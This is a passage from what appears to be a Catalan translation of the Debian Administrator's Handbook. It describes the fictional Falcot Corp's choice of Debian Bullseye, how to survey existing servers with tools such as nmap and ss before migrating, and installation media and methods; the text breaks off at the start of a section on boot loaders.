Amb la teva col·laboració, els gestors de TI han dut a terme un estudi una mica més extens, identificant algunes restriccions i definint un pla per a la migració al sistema de codi obert triat, Debian.

Una restricció significativa identificada és que el departament de comptabilitat utilitza programari específic, que només s'executa en Microsoft Windows™. El laboratori, per la seva banda, utilitza programari de disseny assistit per ordinador que funciona en OS X™.

Figura 2.1. Vista general de la xarxa Falcot Corp

El pas a Debian serà gradual; una petita empresa, amb mitjans limitats, no pot canviar-ho tot de la nit al dia. Per començar, el personal de TI ha de ser format en administració Debian. Tot seguit, els servidors es convertiran, començant per la infraestructura de xarxa (routers, tallafocs, etc.)) seguit pels serveis d'usuari (compartició de fitxers, web, correu, etc.). Després els ordinadors d'oficina seran migrats gradualment a Debian, mentre cada departament serà format (internament) durant el desplegament del nou sistema.

2.3. Per què una distribució GNU/Linux?

TORNAR A LES BASES Linux o GNU/Linux?

El Linux, com ja sabeu, és només un nucli. Les expressions, "distribució Linux" i "sistema Linux" són, per tant, incorrectes: en realitat, són distribucions o sistemes basats en Linux. Aquestes expressions no esmenten el programari que sempre completa aquest nucli, entre els quals es troben els programes desenvolupats pel Projecte GNU. Dr. Richard Stallman, fundador d'aquest projecte, insisteix que l'expressió "GNU/Linux" s'utilitzi sistemàticament, per tal de reconèixer millor les importants contribucions fetes pel Projecte GNU i els principis de llibertat en els quals es basen.

Debian ha triat seguir aquesta recomanació i, per tant, anomena les seves distribucions en conseqüència. Per tant, l'última versió estable és Debian GNU/Linux 11.

Diversos factors han dictat aquesta elecció. L'administrador del sistema, que estava familiaritzat amb aquesta distribució, es va assegurar que fos llistat entre els candidats per a la revisió del sistema informàtic. Les difícils condicions econòmiques i la competència feroç han limitat el pressupost per a aquesta operació, malgrat la seva importància crítica per al futur de l'empresa. Per això es van triar ràpidament solucions de codi obert: diversos estudis recents indiquen que són menys cars que les solucions propietàries, al mateix temps que proporcionen igual o millor qualitat de servei sempre que el personal qualificat estigui disponible per mantenir-les.

A LA PRÀCTICA Cost total de propietat («Total Cost of Ownership»)

El cost total de propietat (TCO o «Total Cost of Ownership»)és el total de tots els diners gastats per la possessió o adquisició d'un element, en aquest cas referint-se al sistema operatiu. Aquest preu inclou qualsevol possible quota de llicència, costos de formació del personal per treballar amb el nou programari, la substitució de màquines que són massa lentes, reparacions addicionals, etc. Tot el que es deriva directament de l'elecció inicial es té en compte.

Aquest TCO, que varia d'acord amb els criteris triats en l'avaluació d'aquests, rarament és significatiu quan es pren aïlladament. No obstant això, és molt interessant comparar els TCO per a diferents opcions si es calculen d'acord amb les mateixes regles. Per tant, aquesta taula d'avaluació és de summa importància, i és fàcil manipular-la per a obtenir una conclusió predefinida. Per tant, el TCO per a una sola màquina no té sentit, ja que el cost d'un administrador també es reflecteix en el nombre total de màquines que gestionen, un nombre que òbviament depèn del sistema operatiu i les eines proposades.

Entre els sistemes operatius lliures, el departament de TI va analitzar els sistemes BSD lliures (OpenBSD, FreeBSD, i NetBSD), GNU Hurd, i distribucions de Linux. GNU Hurd, que encara no ha publicat una versió estable, va ser rebutjat immediatament. L'elecció és més senzilla entre BSD i Linux. El primer té molts mèrits, especialment en servidors. El pragmatisme, però, va conduir a l'elecció d'un sistema Linux, ja que la seva base instal·lada i la seva popularitat són molt significatives i tenen moltes conseqüències positives. Una d'aquestes conseqüències és que és més fàcil trobar personal qualificat per administrar màquines Linux que tècnics experimentats amb BSD. A més, Linux s'adapta a maquinari més recent que BSD (encara que sovint és una cursa on van força empatats). Finalment, les distribucions de Linux sovint estan més adaptades a interfícies d'usuari gràfiques, indispensables per a principiants durant la migració de totes les màquines d'oficina a un nou sistema.

ALTERNATIVA Debian GNU/kFreeBSD

Des de Debian 6 Squeeze és possible utilitzar Debian amb un nucli FreeBSD en ordinadors de 32 i 64 bits; això és el que volen dir les arquitectures kfreebsd-i386 i kfreebsd-amd64. Mentre que aquestes arquitectures no són "oficials" (es presenten en un mirall separat — ports.debian.org), disposen de més del 60% del programari empaquetat per Debian.

Aquestes arquitectures poden ser una elecció apropiada per als administradors de Falcot Corp, especialment per a un tallafoc (el nucli suporta tres tallafocs diferents: IPF, IPFW, PF) o per a un NAS (sistema d'emmagatzematge connectat a xarxa, per al qual el sistema de fitxers ZFS ha estat provat i aprovat).

2.4. Per què la distribució de Debian?

Una vegada que la família Linux ha estat seleccionada, cal triar una opció més específica. Una vegada més, hi ha molts criteris a considerar. La distribució escollida ha de ser capaç d'operar durant diversos anys, ja que la migració d'un a un altre implicaria costos addicionals (encara que menys que si la migració fos entre dos sistemes operatius totalment diferents, com Windows o OS X).

Per tant, la sostenibilitat és essencial i ha de garantir actualitzacions periòdiques i pedaços de seguretat durant diversos anys. El temps d'actualització també és significatiu, ja que, amb tantes màquines per gestionar, Falcot Corp no pot gestionar aquesta operació complexa amb massa freqüència. Per tant, el departament de TI insisteix a gestionar l'última versió estable de la distribució, beneficiant-se de la millor assistència tècnica, i els pegats de seguretat garantits. En efecte, les actualitzacions de seguretat generalment només estan garantides per una durada limitada en versions més antigues d'una distribució.

Finalment, per raons d'homogeneïtat i facilitat d'administració, la mateixa distribució ha de funcionar en tots els servidors i els ordinadors d'oficina.

2.4.1. Distribucions comercials i guiades per la comunitat

Hi ha dues categories principals de distribucions de Linux: comercials, i impulsades per la comunitat. Les primeres, desenvolupades per empreses, es venen amb serveis de suport comercial. Les segones es desenvolupen d'acord amb el mateix model de desenvolupament obert que el programari lliure del qual estan compostes.

Per tant, una distribució comercial tendirà a publicar noves versions amb major freqüència, per a millorar les actualitzacions del mercat i els serveis associats. El seu futur està directament connectat amb l'èxit comercial de la seva empresa, i moltes ja han desaparegut (Caldera Linux, StormLinux, Mandriva Linux, etc.).

Una distribució comunitària no segueix cap planificació sinó la seva pròpia. Igual que el nucli de Linux, es publiquen noves versions quan són estables, mai abans. La seva supervivència està garantida, sempre que tingui suficients desenvolupadors individuals o empreses de tercers que li donin suport.

Una comparativa de diverses distribucions Linux va portar a l'elecció de Debian per diverses raons:

És una distribució comunitària, amb el desenvolupament assegurat independentment de qualsevol restricció comercial; els seus objectius són, per tant, essencialment de naturalesa tècnica, que semblen afavorir la qualitat general del producte.

De totes les distribucions comunitàries, és la més significativa des de moltes perspectives: en nombre de col·laboradors, nombre de paquets de programari disponibles, i anys d'existència contínua. La mida de la seva comunitat és un testimoni incontestable de la seva continuïtat.

Estadísticament, es publiquen noves versions cada 18 a 24 mesos, i estan suportades durant 5 anys, un cronograma que és adequat per als administradors.

Una enquesta a diverses empreses de serveis franceses especialitzades en programari lliure ha demostrat que totes proporcionen assistència tècnica per a Debian; també és, per a moltes d'elles, la seva distribució escollida internament. Aquesta diversitat de proveïdors potencials és un actiu important per a la independència de Falcot Corp.

Finalment, Debian està disponible en una multitud d'arquitectures, incloent ppc64el per a processadors OpenPOWER; per tant, serà possible instal·lar-lo en els últims servidors IBM de Falcot Corp.

A LA PRÁCTICA Suport a llarg termini per a Debian («Debian Long Term Support»)

El projecte Debian Long Term Support (LTS) va començar el 2014 i té com a objectiu proporcionar 5 anys de suport de seguretat a tots els llançaments de Debian estables. Com que el LTS és d'importància primària per a les organitzacions amb desplegaments grans, el projecte intenta recollir recursos de les empreses que utilitzen Debian.

→ https://wiki.debian.org/LTS

Falcot Corp no és prou gran per permetre que un membre del seu personal de TI contribueixi al projecte LTS, de manera que l'empresa va optar per subscriure el contracte Debian LTS de Freexian i proporcionar suport financer. Gràcies a això, els administradors de Falcot saben que els paquets que utilitzen es gestionaran de manera prioritària i tenen un contacte directe amb l'equip LTS en cas de problemes.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Un cop s'ha triat Debian, cal decidir quina versió s'ha d'utilitzar. Vegem per què els administradors han triat Debian Bullseye.

2.5. Per què Debian Bullseye?

Cada versió de Debian comença la seva vida com una distribució que canvia contínuament, també coneguda com “Testing”. Però en el moment de llegir aquestes línies, Debian Bullseye és l'última versió de estable («Stable») de Debian.

La tria de Debian Bullseye està ben justificada en funció del fet que qualsevol administrador preocupat per la qualitat dels seus servidors naturalment gravitarà cap a la versió estable de Debian. Fins i tot si l'anterior llançament estable encara pot ser compatible durant un temps, els administradors de Falcot no ho estan considerant perquè el seu període de suport no durarà prou i perquè l'última versió aporta noves característiques interessants que consideren importants.

Capítol 3. Anàlisi de la instal·lació existent i migració

Qualsevol revisió del sistema informàtic hauria de tenir en compte el sistema existent. Això permet la reutilització dels recursos disponibles en la mesura que sigui possible i garanteix la interoperabilitat dels diferents elements que componen el sistema. Aquest estudi introduirà un marc de treball genèric per seguir en qualsevol migració d'una infraestructura de informàtica a Linux.

3.1. Coexistència en entorns heterogenis

Debian s'integra molt bé en tots els tipus d'entorns existents i funciona bé amb qualsevol altre sistema operatiu. Aquesta harmonia gairebé perfecta prové de la pressió del mercat, que exigeix que els editors de programari desenvolupin programes que segueixin estàndards. El compliment dels estàndards permet als administradors intercanviar programes: clients o servidors, ja siguin lliures o no.

3.1.1. Integració amb ordinadors Windows

El suport SMB/CIFS de Samba garanteix una excel·lent comunicació dins d'un context Windows. Comparteix fitxers i cues d'impressió amb els clients Windows i inclou programari que permet a una màquina Linux utilitzar recursos disponibles en servidors de Windows.

EINA Samba

L'última versió de Samba pot reemplaçar la majoria de les característiques de Windows: des d'un simple servidor Windows NT (autenticació, arxius, cues d'impressió, descàrrega de controladors d'impressora, DFS, etc.) a la més avançada (un controlador de domini compatible amb Active Directory).

3.1.2. Integració amb equips macOS

Les màquines macOS proporcionen, i són capaces d'utilitzar, serveis de xarxa com ara servidors de fitxers i compartició d'impressores. Aquests serveis es publiquen a la xarxa local, que permet a altres màquines descobrir-los i fer ús d'ells sense cap configuració manual, utilitzant la implementació Bonjour de la sèrie de protocols Zeroconf. Debian inclou una altra implementació, anomenada Avahi, que proporciona la mateixa funcionalitat.

En l'altra direcció, el dimoni Netatalk es pot utilitzar per proporcionar servidors de fitxers a les màquines macOS de la xarxa. Implementa el protocol AFP (Apple Filing Protocol, actualment AppleShare) així com les notificacions necessàries perquè els servidors puguin ser descoberts automàticament pels clients macOS.

Les xarxes Mac OS més antigues (abans d'OS X) utilitzaven un protocol diferent anomenat AppleTalk. Per a entorns que impliquen màquines que utilitzen aquest protocol, Netatalk també proporciona el protocol AppleTalk (de fet, va començar com una reimplementació d'aquest protocol). Garanteix l'operació del servidor d'arxius i les cues d'impressió, així com el servidor horari (sincronització del rellotge). La seva funció de router permet la interconnexió amb xarxes AppleTalk.

3.1.3. Integració amb altres màquines Linux/Unix

Finalment, NFS («Network File System» o “Sistema de fitxers en xarxa”) i NIS («Network Information Service» o “Servei d'informació de xarxa”), ambdós inclosos, garanteixen la interacció amb sistemes Unix. NFS assegura la funcionalitat del servidor d'arxius, mentre que NIS crea directoris d'usuari. La capa d'impressió BSD, utilitzada per la majoria de sistemes Unix, també permet compartir cues d'impressió.

Figura 3.1. Coexistència de Debian amb sistemes OS X, Windows i Unix

3.2. Com migrar

Per tal de garantir la continuïtat dels serveis, la migració de cada ordinador ha de ser planejada i executada d'acord amb el pla. Aquest principi s'aplica independentment del sistema operatiu que s'utilitzi.

3.2.1. Recerca i identificació de serveis

Per molt senzill que sembli, aquest pas és essencial. Un administrador seriós coneix realment els rols principals de cada servidor, però aquests rols poden canviar, i de vegades usuaris experimentats poden haver instal·lat serveis "no controlats". Sabent que existeixen, almenys els permetrà decidir què fer amb ells, en lloc de suprimir-los a l'atzar.

Per això, és bo informar els usuaris del projecte abans de migrar el servidor. Per involucrar-los en el projecte, pot ser útil instal·lar els programes de programari lliure més comuns en els seus escriptoris abans de la migració, que es tornaran a trobar després de la migració a Debian; LibreOffice i la suite Mozilla són els millors exemples aquí.

3.2.1.1. Xarxa i processos

L'eina nmap (al paquet amb el mateix nom) identificarà ràpidament els serveis d'Internet allotjats per una màquina connectada a la xarxa sense si més no haver d'iniciar sessió. Simplement cal executar la següent comanda en una altra màquina connectada a la mateixa xarxa:

$ nmap mirwiz Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-29 14:41 CEST Nmap scan report for mirwiz (192.168.1.104) Host is up (0.00062s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 9999/tcp open abyss Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVA Useu ss per obtenir la llista de serveis disponibles

En una màquina Linux, l'ordre ss -anptu mostrarà la llista de sessions TCP actives o pendents, així com ports UDP on hi ha programes en execució escoltant. Això facilita la identificació dels serveis oferts a la xarxa.

ANANT MÉS ENLLÀ IPv6

Algunes comandes de xarxa poden funcionar bé amb IPv4 (normalment el valor per defecte) o amb IPv6. Aquí s'hi inclouen les comandes nmap i ss, però també altres, com ara route o ip. La convenció és que aquest comportament estigui habilitat per l'opció -6.

Si el servidor és una màquina d'Unix que ofereix comptes de shell als usuaris, és interessant determinar si els processos s'executen en segon pla en absència del seu propietari. L'ordre ps auxw mostra una llista de tots els processos amb la seva identitat d'usuari. Al comparar aquesta informació amb la sortida de les comandes who o w, que donen la llista d'usuaris connectats, és possible identificar servidors o programes il·legals o no declarats que s'executen en segon pla. Mirant els crontabs (taules llistant accions automàtiques programades pels usuaris) sovint proporcionarà informació interessant sobre les funcions realitzades pel servidor (una explicació completa sobre cron està disponible a Secció 9.7, «Planificació de tasques amb cron i atd»).

En qualsevol cas, és essencial fer còpies de seguretat dels servidors: això permet recuperar la informació després del fets, quan els usuaris informaran de problemes concrets a causa de la migració.

3.2.2. Fent còpies de seguretat de la configuració

És aconsellable mantenir la configuració de cada servei identificat per tal de poder instal·lar l'equivalent en el servidor actualitzat. El mínim és fer una còpia de seguretat dels fitxers de configuració.

En màquines Unix, els fitxers de configuració es troben normalment a /etc/, però també es poden trobar en un subdirectori de /usr/local/. Aquest és el cas si un programa s'ha instal·lat a partir del codi font, en lloc d'usar un paquet. En alguns casos, també es poden trobar sota /opt/.

Per als serveis de gestió de dades (com ara bases de dades), és molt recomanable exportar les dades a un format estàndard que sigui fàcilment importat pel nou programari. Aquest format és normalment en mode text i està documentat; pot ser, per exemple, un bolcat SQL per a una base de dades, o un fitxer LDIF per a un servidor LDAP.

Figura 3.2. Còpies de seguretat de base de dades

Cada servidor és diferent, i és impossible descriure tots els casos existents en detall. Compareu la documentació del programari actual i el del nou programari per identificar les porcions exportables (i, per tant, re-importables) i aquelles que requeriran manipulació manual. La lectura d'aquest llibre aclarirà la configuració dels principals programes de servidor de Linux.

3.2.3. Adaptant un servidor Debian existent

Per fer-se càrrec efectivament del manteniment, es pot analitzar una màquina que ja funciona amb Debian.

El primer fitxer a comprovar és/etc/debian_version, que normalment conté el número de versió del sistema Debian instal·lat (és part del paquet base-files). Si indica codename/sid, significa que el sistema s'actualitza amb paquets procedents d'una de les distribucions de desenvolupament (ja sigui «Testing» o «Unstable»).

El programa apt-show-versions (del paquet Debian del mateix nom) comprova la llista de paquets instal·lats i identifica les versions disponibles. El programa aptitude també es pot utilitzar per a aquestes tasques, encara que d'una manera menys sistemàtica.

Un cop d'ull a /etc/apt/sources.list fitxer (i al directori /etc/apt/sources.list.d/) ens mostrarà d'on probablement venen els paquets Debian instal·lats. Si apareixen moltes fonts desconegudes, l'administrador pot optar per reinstal·lar completament el sistema de l'ordinador per assegurar una compatibilitat òptima amb el programari proporcionat per Debian.

L'arxiu sources.list és sovint un bon indicador: la majoria dels administradors mantenen, almenys en comentaris, la llista de fonts APT que s'utilitzaven anteriorment. Però no hauríeu d'oblidar que les fonts utilitzades en el passat podrien haver estat eliminades, i que alguns paquets aleatoris podrien haver estat instal·lats manualment (amb l'ajuda de l'ordre dpkg). En aquest cas, la màquina és enganyosa en la seva aparença de ser un sistema Debian “estàndard”. Per això hauríeu de parar esment a qualsevol indicació que elimini la presència de paquets externs (la presència de fitxers deb en directoris inusuals, números de versió de paquets amb un sufix especial que indiqui que no són originaris del projecte Debian, com ubuntu o lmde, etc.).

De la mateixa manera, és interessant analitzar el contingut del directori /usr/local/, el propòsit del qual és contenir programes compilats i instal·lats manualment. La llista de programari instal·lat d'aquesta manera és instructiu, atès que això planteja dubtes sobre les raons per no utilitzar el paquet Debian corresponent, si és que existeix.

VISTA RÀPIDA cruft/cruft-ng, debsums i apt-show-versions

Els paquets cruft i cruft-ng es proposen llistar els fitxers existents que no formen part de cap paquet. Tenen alguns filtres (més o menys efectius, i més o menys actualitzats) per evitar informar d'alguns fitxers legítims (fitxers generats per paquets Debian, o fitxers de configuració generats no gestionats per dpkg, etc.).

Aneu amb compte de no suprimir a cegues tot el que cruft i cruft-ng poden llistar!

El paquet debsums permet comprovar la suma MD5 de cada fitxer instal·lat per un paquet contra una suma de referència i pot ajudar a determinar quins fitxers podrien haver estat alterats (vegeu SUGGERIMENTTrobar arxius modificats). Tingueu present que els fitxers creats (fitxers generats pels paquets Debian, o fitxers de configuració generats no gestionats per dpkg, etc.) no estan subjectes a aquesta comprovació.

El paquet apt-show-versions proporciona una eina per comprovar els paquets instal·lats sense la corresponent font de paquets (repositori) i pot ajudar a determinar paquets de tercers (vegeu Secció 6.7.3.1, «Paquets suprimits de l'Arxiu de Debian»).

3.2.4. Instal·lant Debian

Un cop que es coneix tota la informació requerida del servidor actual, podem aturar-lo i començar a instal·lar-hi Debian.

Per triar la versió apropiada, hem de conèixer l'arquitectura de l'ordinador. Si es tracta d'un PC relativament recent, és més probable que sigui amd64 (els PC antics eren normalment i386). En altres casos, podem reduir les possibilitats d'acord amb el sistema utilitzat anteriorment.

La Taula 3.1 no pretén que sigui exhaustiva, però pot ser útil. Tingueu en compte que llista les arquitectures de Debian que ja no són compatibles amb el llançament estable actual. En qualsevol cas, la documentació original de l'ordinador és la font més fiable per trobar aquesta informació.

Taula 3.1. Aparellant sistema operatiu i arquitectura

Sistema operatiu | Arquitectura/es
DEC Unix (OSF/1) | alpha, mipsel
HP Unix | ia64, hppa
IBM AIX | powerpc
Irix | mips
OS X | amd64, powerpc, i386
z/OS, MVS | s390x, s390
Solaris, SunOS | sparc, i386, m68k
Ultrix | mips
VMS | alpha
Windows 95/98/ME | i386
Windows NT/2000 | i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 | i386, amd64, ia64
Windows RT | armel, armhf, arm64
Windows Vista / Windows 7-8-10 | i386, amd64

MAQUINARI PC de 64 bits en front de PC de 32 bits

Els ordinadors més recents tenen processadors Intel o AMD de 64 bits, compatibles amb processadors de 32 bits més antics; el programari compilat per a l'arquitectura i386 hi funciona. D'altra banda, aquest mode de compatibilitat no aprofita plenament les capacitats d'aquests nous processadors. Aquesta és la raó per la qual Debian proporciona l'arquitectura “amd64”, que funciona per a xips AMD recents, així com processadors Intel “em64t” (incloent la majoria de les sèries Core), que són molt similars a AMD64.

3.2.5. Instal·lació i configuració dels serveis seleccionats

Un cop s'ha instal·lat Debian, hem d'instal·lar i configurar individualment cadascun dels serveis que aquest ordinador ha d'oferir. La nova configuració ha de tenir en compte l'anterior per a garantir una transició suau. Tota la informació recollida en els dos primers passos serà útil per completar amb èxit aquesta part.

Figura 3.3. Instal·lació dels serveis seleccionats

Pèro abans de començar aquesta tasca és molt recomanable que llegiu la resta d'aquest llibre. Després de fer-ho tindreu una comprensió més precisa de com configurar els serveis esperats.

Capítol 4. Instal·lació

Per utilitzar Debian, cal d'instal·lar-lo en un ordinador; aquesta tasca és duta a terme pel programa debian-installer. Una instal·lació adequada implica moltes operacions. Aquest capítol els ressegueix en ordre cronològic.

TORNAR A LES BASES Un curs accelerat als apèndixs

Instal·lar un ordinador sempre és més senzill quan esteu familiaritzat amb la forma en què funciona. Si no hi esteu, feu un desviament ràpid a Apèndix B, Curs breu d'emergènciaabans de llegir aquest capítol.

L'instal·lador per a Bullseye es basa en debian-installer. El seu disseny modular li permet treballar en diversos escenaris i li permet evolucionar i adaptar-se als canvis. Malgrat les limitacions que implica la necessitat de donar suport a un gran nombre d'arquitectures, aquest instal·lador és molt accessible per a principiants, ja que ajuda als usuaris en cada etapa del procés. La detecció automàtica del maquinari, la partició guiada i les interfícies gràfiques d'usuari han resolt la majoria dels problemes que els novells havien d'enfrontar en els primers anys de Debian.

La instal·lació requereix 256 MB de RAM («Random Access Memory» o memòria d'accés aleatori) i almenys 2 GB d'espai de disc dur. Tots els ordinadors a Falcot compleixen aquests requeriments. Cal notar, però, que aquestes números s'apliquen a la instal·lació d'un sistema molt limitat sense un escriptori gràfic. Es recomana un mínim d'2 GB de RAM i 10 GB d'espai de disc dur per a una estació de treball bàsica d'escriptori d'oficina.

COMPTE Actualizant des de Buster

Si ja teniu Debian Bullseye instal·lat al vostre ordinador, aquest capítol no és per a vosaltres! A diferència d'altres distribucions, Debian permet actualitzar un sistema d'una versió a la següent sense haver de reinstal·lar el sistema. La reinstal·lació, a més de ser innecessària, podria fins i tot ser perillosa, ja que podria eliminar programes ja instal·lats.

El procés d'actualització es descriu a Secció 6.7, «Actualització d'una distribució estable a la següent».

L'actualització directa de sistemes Debian encara més antics no està suportada. En aquest cas, heu d'actualitzar gradualment a la versió estable que va seguir a la vostra versió Debian, i així successivament. Les versions anteriors d'aquest llibre us ajudaran en aquest assumpte.

4.1. Mètodes d'instal·lació

Un sistema Debian es pot instal·lar des de diversos tipus de suports, sempre que la BIOS/UEFI (see NOTA UEFI, un reemplaçament modern per la BIOS) ho permeti. Per exemple, podeu arrencar amb un CD-ROM, un llapis USB, o fins i tot a través de la xarxa.

4.1.1. Instal·lació des d'un CD-ROM/DVD-ROM

El mètode d'instal·lació més utilitzat és des d'un CD-ROM (o DVD-ROM, que es comporta exactament de la mateixa manera): l'ordinador s'inicia des d'aquest mitjà, i el programa d'instal·lació pren el control.

Diverses famílies de CD-ROM tenen diferents propòsits: netinst (instal·lació de xarxa) conté l'instal·lador i el sistema base de Debian; tots els altres programes es descarreguen. La seva "imatge", és a dir, el sistema de fitxers ISO-9660 que conté el contingut exacte del disc, només ocupa aproximadament entre 150-280 MB (segons l'arquitectura). D'altra banda, el conjunt complet ofereix tots els paquets i permet la instal·lació en un ordinador que no té accés a Internet; requereix al voltant de 19 DVD-ROM (o 4 discos Blu-ray). Ja no hi ha CD-ROMs oficials, ja que en calien molts, rarament s'usaven i ara la majoria dels ordinadors utilitzen DVD-ROM igual que CD-ROM. Però els programes es reparteixen entre els discos segons la seva popularitat i importància; el primer disc serà suficient per a la majoria de les instal·lacions, ja que conté el programari més utilitzat.

Hi ha un últim tipus d'imatge, conegut com mini.iso, que només està disponible com a subproducte de l'instal·lador. La imatge només conté el mínim necessari per configurar la xarxa i tota la resta és descarregat (incloent-hi parts del mateix instal·lador, motiu pel qual imatges tendeixen a trencar-se quan es publica una nova versió de l'instal·lador). Aquestes imatges es poden trobar en els rèpliques normals de Debian sota el directori dists/release/main/installer-arch/current/images/netboot/.

SUGGERIMENT Discos multiarquitectura

La majoria dels CD- i DVD-ROM d'instal·lació només funcionen amb una arquitectura de maquinari específica. Si voleu descarregar les imatges completes, heu de tenir cura de triar les que funcionen en el maquinari de l'ordinador on voleu instal·lar-les.

Algunes imatges de CD/DVD-ROM poden funcionar en diverses arquitectures. Així, tenim una imatge de CD-ROM que combina les imatges netinst de les arquitectures i386 i amd64 .

Per obtenir imatges de CD-ROM de Debian, per descomptat, les podeu descarregar i gravar-les en disc. També es poden comprar i, per tant, proporcionar una mica de suport financer al projecte. Comproveu el lloc web per veure la llista de proveïdors d'imatges DVD-ROM i els llocs de descàrrega.

→ https://www.debian.org/CD/

4.1.2. Arrencada des d'un llapis USB

Atès que la majoria dels ordinadors són capaços d'arrencar des de dispositius USB, també podeu instal·lar Debian des d'un llapis USB (que no és més que un petit disc de memòria «flash»).

El manual d'instal·lació explica com crear un llapis USB que contingui el debian-installer. El procediment és molt senzill perquè les imatges ISO per a i386 i amd64 són imatges híbrides que poden arrencar des d'un CD-ROM així com des d'un llapis USB.

Primer heu d'identificar el nom del dispositiu del llapis USB (per exemple: /dev/sdb); el mitjà més simple per fer-ho és comprovar els missatges emesos pel nucli usant l'ordre dmesg. Després haureu de copiar la imatge ISO descarregada prèviament (per exemple, debian-11.0.0-amd64-netinst.iso) amb la comanda cat debian-11.0.0-amd64-netinst.iso > /dev/sdb; sync . Aquesta ordre requereix drets d'administrador, ja que accedeix directament al llapis USB i esborra cegament el seu contingut.

Una explicació més detallada està disponible al manual d'instal·lació. Entre altres coses, descriu un mètode alternatiu de preparació d'un llapis USB que és més complexa, però que us permet personalitzar les opcions predeterminades de l'instal·lador (les establertes a la línia d'ordres del nucli).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. Instal·lant a través de l’arrencada en xarxa

Molts BIOS permeten engegar directament des de la xarxa mitjançant la descàrrega d'un nucli i una imatge de sistema de fitxers mínima. Aquest mètode (que té diversos noms, com ara engegada PXE o TFTP) pot ser un salvavides si l'ordinador no té un lector de CD-ROM, o si la BIOS no pot arrencar des d'aquest mitjà.

Aquest mètode d'instal·lació funciona en dues passes. En primer lloc, mentre arrenca l'ordinador, la BIOS (o la targeta de xarxa) emet una sol·licitud BOOTP/DHCP per adquirir automàticament una adreça IP. Quan un servidor BOOTP o DHCP retorna una resposta, inclou un nom de fitxer, així com la configuració de xarxa. Després d'haver configurat la xarxa, l'ordinador client emet una sol·licitud TFTP (de «Trivial File Transfer Protocol», Protocol Trivial per a la Transferència d'Arxius) per a un fitxer el nom del qual s'indicava prèviament. Un cop adquirit aquest arxiu, s'executa com si fos un gestor d'arrencada. Això llavors llança el programa d'instal·lació de Debian, que s'executa com si estigués funcionant des del disc dur, un CD-ROM, o un llapis USB.

Tots els detalls d'aquest mètode estan disponibles la guia d'instal·lació (a la secció «Preparació dels fitxers per a l'arrencada en xarxa TFTP»).

→ https://www.debian.org/releases/stable/amd64/ch05s01.ca#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05.ca

4.1.4. Altres mètodes d'instal·lació

Quan hem de desplegar instal·lacions personalitzades per a un gran nombre d'ordinadors, generalment triem un mètode d'instal·lació automatitzat en lloc d'un manual. Depenent de la situació i la complexitat de les instal·lacions a fer, podem utilitzar FAI (de «Fully Automatic Installer», Instal·lador automàtic de treball, descrit a Secció 12.3.1, «Fully Automatic Installer (FAI)»), o fins i tot amb un DVD d'instal·lació personalitzat («preseeding», veieu Secció 12.3.2, «Presembrar el Debian-Installer»).

També cal assenyalar que l'instal·lador pot carregar i executar un servidor SSH i, per tant, proporciona la capacitat d'instal·lar Debian remotament a través d'una sessió SSH. Les notes de llançament també descriuen com executar l'instal·lador des d'un sistema existent utilitzant grub per reemplaçar-lo completament.

4.2. Instal·lació, pas a pas

4.2.1. Arrencada i inici de l’instal·lador

Una vegada que la BIOS ha començat a arrencar des del CD- o DVD-ROM, apareix el menú d'arrencada Isolinux. En aquest moment, el nucli de Linux encara no està carregat; aquest menú permet triar el nucli per arrencar i introduir possibles paràmetres per ser-li transferits en el procés.

Per a una instal·lació estàndard, només cal triar “Instal·lació” o “Instal·lació gràfica” (amb les tecles de cursor), després prémer la tecla Enter per iniciar la resta del procés d’instal·lació. Si el DVD-ROM és un disc «multiarquitectura», i la màquina té un processador Intel o AMD de 64 bits, aquestes opcions de menú permeten la instal·lació de la variant de 64 bits (amd64) i la instal·lació de la variant de 32 bits roman disponible en un submenú dedicat (“32-bit install options”). Si teniu un processador de 32 bits, no podreu triar i les entrades del menú instal·len la variant de 32 bits (i386).

ANANT MÉS ENLLÀ 32 or 64 bits?

La diferència fonamental entre sistemes de 32 i 64 bits és la mida de les adreces de memòria. En teoria, un sistema de 32 bits no pot funcionar amb més de 4 GB de RAM (2³² bytes). A la pràctica, és possible esquivar aquesta limitació mitjançant l'ús de la variant del nucli 686-pae, sempre que el processador disposi de la funcionalitat PAE (de «Physical Address Extension», Extensió d'adreçes físiques). No obstant això, l'ús d'aquest sistema té una notable influència en el rendiment del sistema. Per això és útil utilitzar el mode de 64 bits en un servidor amb una gran quantitat de RAM.

Per a un ordinador d'oficina (on una diferència de percentatge en el rendiment és insignificant), cal tenir en compte que alguns programes propietaris no estan disponibles en versions de 64 bits. Tècnicament és possible fer-los treballar en sistemes de 64 bits, però heu d'instal·lar les versions de 32 bits de totes les biblioteques necessàries (vegeu Secció 5.4.5, «Suport multiarquitectura»), i de vegades haureu d'usar setarch o linux32 (del paquet util-linux) per enganyar a les aplicacions sobre el tipus de sistema.

A LA PRÀCTICAInstal·lació junt a un sistema Windows existent

Si l'ordinador ja està executant Windows, no és necessari eliminar el sistema per tal d'instal·lar Debian. Podeu tenir tots dos sistemes alhora, cadascun instal·lat en un disc o partició separat, i triar quin usar a l'engegar l'ordinador. Aquesta configuració sovint s'anomena “arrencada dual”, i el sistema d'instal·lació de Debian pot configurar-la. Això es fa durant l'etapa de partició del disc dur de la instal·lació quan es configura el gestor d'arrencada (vegeu els quadres laterals A LA PRÀCTICA Encongint una partició de Windows i COMPTE Carregador d'arrencada i arrencada dual).

Si ja teniu un sistema de Windows operatiu, fins i tot podeu evitar l'ús d'un CD-ROM; Debian ofereix un programa de Windows que baixarà un instal·lador Debian lleuger i el configurarà al disc dur. Només heu de reiniciar l'ordinador i triar entre l'arrencada normal de Windows o l'arrencada del programa d'instal·lació. També es pot trobar en un lloc web dedicat amb un títol més aviat explícit...

→ https://deb.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

TORNAR A LES BASES Gestor d'arranc

